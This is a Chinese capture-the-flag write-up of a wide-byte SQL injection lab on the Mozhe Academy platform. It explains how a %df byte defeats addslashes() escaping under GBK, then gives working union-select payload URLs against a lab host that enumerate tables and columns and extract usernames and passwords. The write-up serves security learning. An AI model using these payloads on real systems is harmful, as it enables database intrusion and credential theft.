墨者学院:SQL注入漏洞测试(宽字节)🚀
1. 宽字节注入原理✨
1.1. 与普通注入对比⭐
特性 | 普通注入 | 宽字节注入 |
---|---|---|
适用场景 | 无转义处理 | 使用addslashes() 等转义函数 |
核心原理 | 直接闭合引号 | 利用GBK等编码吞掉转义符\ |
关键字符 | ' " -- # | %df' %5c' |
防御难度 | 易防御 | 需调整字符集或过滤策略 |
1.2. 技术本质🔍
当数据库使用GBK等宽字符集时:
原始输入:id=1%df'
转义后:1%df\' → GBK将%df\解析为繁体字"運" → 成功逃逸单引号
2. 工具准备🔧
ASCII转16进制工具:https://coding.tools/cn/ascii-to-hex
3. 渗透测试全流程🎯
3.1. 探测注入点⚡
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2--+
成功返回错误页面,确认存在宽字节注入
3.2. 确定字段数⚡
http://124.70.71.251:47481/new_list.php?id=1%df' order by 6--+
当order by 6
时报错,确认字段数为5
3.3. 定位回显位⚡
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,3,4,5--+
页面显示数字3、5为回显位
3.4. 枚举数据库⚡
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,database(),4,5--+
获取数据库名:mozhe_discuz_stormgroup
3.5. 枚举表名⚡
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+
关键表:stormgroup_member
3.6. 列名获取(Hex编码)⚡
# 将表名转换为Hex
"stormgroup_member" → 0x73746f726d67726f75705f6d656d626572
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=0x73746f726d67726f75705f6d656d626572--+
获取列:id
,name
,password
3.7 数据提取⚡
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(password),4,group_concat(name) from stormgroup_member--+
成功获取账号密码数据
4. 关键参数解析表⭐
参数 | 作用 | 示例值 |
---|---|---|
%df' | 宽字节逃逸转义符 | id=1%df' |
order by x | 探测字段数 | order by 6--+ |
group_concat() | 聚合查询结果 | group_concat(table_name) |
0xHEX | 十六进制编码绕过过滤 | 0x73746f726d67726f75705f6d656d626572 |
information_schema | MySQL元数据库 | 获取表/列信息 |
5. 参考声明📌
本文参考文章地址: https://blog.csdn.net/2301_77578012/article/details/138870423
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗